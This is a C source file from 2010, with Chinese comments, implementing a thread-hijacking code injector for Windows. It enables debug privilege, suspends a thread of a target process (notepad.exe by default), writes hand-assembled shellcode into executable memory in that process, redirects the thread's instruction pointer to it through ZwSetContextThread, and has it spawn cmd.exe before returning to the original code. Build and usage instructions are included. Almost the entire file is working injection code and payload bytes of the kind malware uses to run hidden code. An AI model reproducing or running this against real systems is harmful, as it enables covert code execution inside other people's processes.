/*
拜读了Fypher的《ring0注入ring3的一种新方法》,同样获益非浅
于是利他的方法在ring3下实现了一下。
注意:ring3可以使用ZwGetContextThread和ZwSetContextThread,
而ring0下却不可以,ring0下这两个函数总是调用失败的,不过可以
通过_ETHREAD->KTHREAD tcb->_KTRAP_FRAME TrapFrame处就可以得到
指定线程的上下文,但是ETHREAD和KTHREAD结构在不同版本的windows里
也不相同,因此也就对驱动的通用性产生了影响。
对TrapFrame相对ETHREAD的偏移地址分别如下:
win2000sp4: ETHREAD+0x128
winxp: ETHREAD+0x134
win2003: ETHREAD+0x150
win7: ETHREAD+0x128
winvista: 未测试
这种方法有一个问题,就是代码写过去后,要等很久才能运行,这是因为多
数线程都是处于StateWait状态,如果要想立即运行你的shellcode,可以在
插入后将目标程序置于前台,在置于前台的过程中,程序的线程就会改变状
态
尊重作者成果,请转载时提-提作者。
Write by midstream
date:2010-03-10
编译方法:cl.exe createthread.c advapi32.lib
用法: createthread.exe <进程名> //如果不加进程名,默认是插入到notepad.exe进程里
*/
#include <stdio.h>
#include <windows.h>
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize; //虚拟存储峰值大小;
ULONG VirtualSize; //虚拟存储大小;
ULONG PageFaultCount; //页故障数目;
ULONG PeakWorkingSetSize; //工作集峰值大小;
ULONG WorkingSetSize; //工作集大小;
ULONG QuotaPeakPagedPoolUsage; //分页池使用配额峰值;
ULONG QuotaPagedPoolUsage; //分页池使用配额;
ULONG QuotaPeakNonPagedPoolUsage; //非分页池使用配额峰值;
ULONG QuotaNonPagedPoolUsage; //非分页池使用配额;
ULONG PagefileUsage; //页文件使用情况;
ULONG PeakPagefileUsage; //页文件使用峰值;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime; //CPU内核模式使用时间;
LARGE_INTEGER UserTime; //CPU用户模式使用时间;
LARGE_INTEGER CreateTime; //线程创建时间;
ULONG WaitTime; //等待时间;
PVOID StartAddress; //线程开始的虚拟地址;
CLIENT_ID ClientId; //线程标识符;
LONG Priority; //线程优先级;
LONG BasePriority; //基本优先级;
ULONG ContextSwitchCount; //环境切换数目;
ULONG State; //当前状态;
ULONG WaitReason; //等待原因;
} SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG dwOffset; //构成结构序列的偏移量;
ULONG ThreadCount; //线程数目;
ULONG Reserved1[6]; //
LARGE_INTEGER CreateTime; //创建时间;
LARGE_INTEGER UserTime; //用户模式(Ring 3)的CPU时间;
LARGE_INTEGER KernelTime; //内核模式(Ring 0)的CPU时间;
UNICODE_STRING ProcessName; //进程名称;
LONG BasePriority; //进程优先权;
ULONG dwProcessID; //进程标识符;
ULONG dwParentProcessId; //父进程的标识符;
ULONG HandleCount; //句柄数目;
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虚拟存储器的结构,见下;
IO_COUNTERS IoCounters; //IO计数结构,见下;
SYSTEM_THREADS Threads[1]; //进程相关线程的结构数组,见下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES,PROCESSINFO,*PPROCESSINFO;
typedef NTSTATUS (NTAPI *fnZwOpenThread)(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );
fnZwOpenThread ZwOpenThread;
typedef NTSTATUS (NTAPI *fnZwGetContextThread)(
IN HANDLE ThreadHandle,
OUT PCONTEXT pContext );
fnZwGetContextThread ZwGetContextThread;
typedef NTSTATUS (NTAPI *fnZwSetContextThread)(
IN HANDLE ThreadHandle,
IN PCONTEXT Context );
fnZwSetContextThread ZwSetContextThread;
typedef NTSTATUS (NTAPI *fnZwAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
fnZwAllocateVirtualMemory ZwAllocateVirtualMemory;
typedef NTSTATUS (NTAPI *fnZwFreeVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN OUT PULONG RegionSize,
IN ULONG FreeType );
fnZwFreeVirtualMemory ZwFreeVirtualMemory;
typedef NTSTATUS (NTAPI *fnZwWriteVirtualMemory)(HANDLE,PVOID,PVOID,ULONG,PULONG);
fnZwWriteVirtualMemory ZwWriteVirtualMemory;
typedef NTSTATUS (NTAPI *fnZwQuerySystemInformation)(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
fnZwQuerySystemInformation ZwQuerySystemInformation;
typedef NTSTATUS (NTAPI *fnZwResumeThread)(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL );
fnZwResumeThread ZwResumeThread;
typedef BOOL (__stdcall *fnCreateProcess)(
IN LPCSTR lpApplicationName,
IN LPSTR lpCommandLine,
IN LPSECURITY_ATTRIBUTES lpProcessAttributes,
IN LPSECURITY_ATTRIBUTES lpThreadAttributes,
IN BOOL bInheritHandles,
IN DWORD dwCreationFlags,
IN LPVOID lpEnvironment,
IN LPCSTR lpCurrentDirectory,
IN LPSTARTUPINFO lpStartupInfo,
OUT LPPROCESS_INFORMATION lpProcessInformation
);
typedef void (__stdcall *fnExitThread)(
IN DWORD dwExitCode
);
typedef DWORD (__stdcall *fnGetLastError)(void);
typedef void (__stdcall *fnGetStartupInfo)(LPSTARTUPINFO);
typedef struct _THREAD_CS
{
/*0x000*/ char cmdline[256];
/*0x100*/ DWORD error;
/*0x104*/ STARTUPINFO si;
/*0x148*/ PROCESS_INFORMATION pi;
/*0x158*/ fnCreateProcess tdCreateProcess;
/*0x15c*/ fnGetStartupInfo tdGetStartupInfo;
/*0x160*/
} THREADCS,*PTHREADCS;
//提升权限
BOOL EnableDebugPrivilege(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES token_p;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) {
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&token_p.Privileges[0].Luid);//要求调试进程的权限
token_p.PrivilegeCount=1;
token_p.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken,FALSE,&token_p,sizeof(token_p),NULL,NULL))//调整权限
return TRUE;
}
return FALSE;
}
//最后的值应该是*(ULONG*)&data[173]=原eip-(data+177);
//(ULONG*)&data[5]=cscode;
unsigned char data[177] = {
0x50, 0x51, 0x52, 0x8D, 0x05, 0x00, 0x00, 0x00, 0x00, 0x05, 0x04, 0x01, 0x00, 0x00, 0x50, 0xFF,
0x50, 0x58, 0x83, 0xC0, 0x44, 0x50, 0x83, 0xE8, 0x44, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, //0x4 = CREATE_SUSPENDED
/*TRUE*/
0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x2D, 0x04, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0xFF, 0x90,
0x58, 0x01, 0x00, 0x00, 0x5A, 0x59, 0x58, 0x3E, 0xC7, 0x44, 0x24, 0xFC, 0x68, 0xFE, 0x12, 0x00,
0x3E, 0xC7, 0x44, 0x24, 0xF8, 0x72, 0x40, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xF4, 0xE4, 0xFC,
0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xF0, 0x01, 0x04, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xEC,
0x80, 0xFF, 0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xE8, 0x68, 0xFE, 0x12, 0x00, 0x3E, 0xC7, 0x44,
0x24, 0xE4, 0x11, 0x00, 0x00, 0x01, 0x3E, 0xC7, 0x44, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xC7, 0x44, 0x24, 0xDC, 0x11, 0x00, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD8, 0x42, 0x00, 0x00,
0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD4, 0xE4, 0xFC, 0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD0, 0x00,
0x00, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xCC, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x88, 0xA7, 0xFF,
0xFF
};
//得到进程
NTSTATUS GetProcess(wchar_t *exename,PCLIENT_ID cid)
{
PPROCESSINFO pProcessInfo,pProcessInfo1;
DWORD i,ret,dwInfoSize,dwInfoSize2;
for(i=0x1000;i<0x10000;i+=0x1000)
{
pProcessInfo=NULL;
pProcessInfo=(PPROCESSINFO)malloc(i);
if(!pProcessInfo) return GetLastError();
dwInfoSize=i;
ret = ZwQuerySystemInformation(5, pProcessInfo, dwInfoSize, &dwInfoSize2);
if(ret==0) break;
if (ret != 0xC0000004)
{
free(pProcessInfo);
return ret;
}
free(pProcessInfo);
}
if(i>=0x10000&&ret!=0) return ret;
pProcessInfo1=pProcessInfo;
while(pProcessInfo->dwOffset)
{
if(pProcessInfo->ProcessName.Buffer&&pProcessInfo->ProcessName.Length)
{
if(_wcsicmp(pProcessInfo->ProcessName.Buffer,exename)==0)
{
*cid = pProcessInfo->Threads[0].ClientId;
free(pProcessInfo1);
return 0;
}
}
pProcessInfo=(PSYSTEM_PROCESSES)((unsigned char *)pProcessInfo+pProcessInfo->dwOffset);
}
return 1;
}
int main(int argc,char *argv[])
{
DWORD commit,reserve,i;
HANDLE ntdll=NULL;
DWORD pid=0,memsize,size1;
HANDLE hProcess,hThread;
PVOID rcode=NULL,cscode=NULL;
THREADCS tcs;
char SYSDIR[256]={0};
wchar_t dong[128]={0};
unsigned char *p1;
CLIENT_ID cid;
CONTEXT context={CONTEXT_FULL};
OBJECT_ATTRIBUTES oa;
BOOL successed=FALSE;
ntdll=LoadLibrary("ntdll.dll");
if(ntdll==NULL) return 0;
ZwAllocateVirtualMemory=(fnZwAllocateVirtualMemory)GetProcAddress(ntdll,"NtAllocateVirtualMemory");
ZwFreeVirtualMemory=(fnZwFreeVirtualMemory)GetProcAddress(ntdll,"ZwFreeVirtualMemory");
ZwWriteVirtualMemory=(fnZwWriteVirtualMemory)GetProcAddress(ntdll,"NtWriteVirtualMemory");
ZwQuerySystemInformation=(fnZwQuerySystemInformation)GetProcAddress(ntdll,"NtQuerySystemInformation");
ZwResumeThread=(fnZwResumeThread)GetProcAddress(ntdll,"ZwResumeThread");
ZwGetContextThread = (fnZwGetContextThread)GetProcAddress(ntdll,"ZwGetContextThread");
ZwOpenThread=(fnZwOpenThread)GetProcAddress(ntdll,"ZwOpenThread");
ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(ntdll,"ZwSetContextThread");
if(ZwSetContextThread==0||ZwOpenThread==0||ZwGetContextThread==0||ZwAllocateVirtualMemory==0||ZwFreeVirtualMemory==0||ZwWriteVirtualMemory==0||ZwQuerySystemInformation==0) return 0;
memset(&tcs,0,sizeof(THREADCS));
tcs.tdCreateProcess=(fnCreateProcess)CreateProcessA;
tcs.tdGetStartupInfo=(fnGetStartupInfo)GetStartupInfoA;
GetSystemDirectory(SYSDIR,256);//得到系统目录
sprintf(tcs.cmdline,"%s\\cmd.exe",SYSDIR);
tcs.error=sizeof(STARTUPINFO);
EnableDebugPrivilege();
//查找进程
i=0;
if(argc>1)
{
p1=(unsigned char *)dong;
size1=strlen(argv[1]);
for(i=0,memsize=0;i<size1;i++,memsize+=2)
{
p1[memsize]=argv[1][i];
}
i=0;
i=GetProcess(dong,&cid);
}
else i=GetProcess(L"notepad.exe",&cid);
if(i!=0)
{
printf("没有发现指定进程\r\n");
return 0;
}
hProcess=OpenProcess(PROCESS_ALL_ACCESS,0,(ULONG)cid.UniqueProcess);
if(hProcess==NULL) return 0;
InitializeObjectAttributes(&oa,0,0,0,0);
i=ZwOpenThread(&hThread,THREAD_SET_CONTEXT|THREAD_GET_CONTEXT|THREAD_SUSPEND_RESUME,&oa,&cid);
if(i||hThread==NULL) {
printf("打开线程出错了\r\n");
CloseHandle(hProcess);
return 0;
}
if(SuspendThread(hThread)==-1) {
printf("SuspendThread 出错了 %d\r\n",GetLastError());
goto exits;
}
//申请内存
memsize=sizeof(THREADCS);
cscode=VirtualAllocEx(hProcess,0,memsize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);
memsize=177;
rcode=VirtualAllocEx(hProcess,0,memsize,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(cscode==NULL||rcode==NULL) goto exits;
//写入内存
memsize=sizeof(THREADCS);
if(!WriteProcessMemory(hProcess,cscode,&tcs,memsize,&pid)) goto exits;
//设定执行代码
if(ZwGetContextThread(hThread,&context)) {
printf("GetThreadContext\r\n");
goto exits;
}
printf("eip:%#x eax:%#x\r\n",*(ULONG *)&context.Eip,context.Eax);
//设定
*(ULONG*)&data[173]=context.Eip-(ULONG)rcode-177;
*(ULONG *)&data[5]=(ULONG)cscode;
printf("大小:%#x\r\n",*(ULONG *)&data[5]);
reserve=context.Esp;
printf("esp:%#x\r\n",reserve);
//因为shellcode里用了CreateProcess函数,再加保存寄存器的值,共有13个栈值改变,
//所以这里要备份下来放到shellcode里,便shellcode运行后自动恢复原来的值。
commit=1;
for(i=0x3C;i<0xb1;i+=0x9)
{
memsize=0;
reserve-=sizeof(PVOID);
if(!ReadProcessMemory(hProcess,(PVOID)reserve,&memsize,sizeof(DWORD),&size1)) {
printf("ReadProcessMemory(%#x)出错了\r\n",reserve);
goto exits;
} else {
printf("esp-0x%02x:\t%#x\r\n",commit*0x4,memsize);
}
commit++;
*(ULONG *)&data[i]=memsize;
}
memsize=177;
context.Eip=(ULONG)rcode;
if(!WriteProcessMemory(hProcess,rcode,data,memsize,&pid)) goto exits;
context.ContextFlags=CONTEXT_FULL;
memsize=ZwSetContextThread(hThread,&context);
if(memsize) {
printf("SetThreadContext %#x\r\n",memsize);
goto exits;
}
ZwResumeThread(hThread,&size1);
successed=TRUE;
exits:
if(!successed) {
printf("出错了 %d\r\n",GetLastError());
if(hThread) ResumeThread(hThread);
}
if(hThread) CloseHandle(hThread);
if(hProcess) CloseHandle(hProcess);
return 0;
}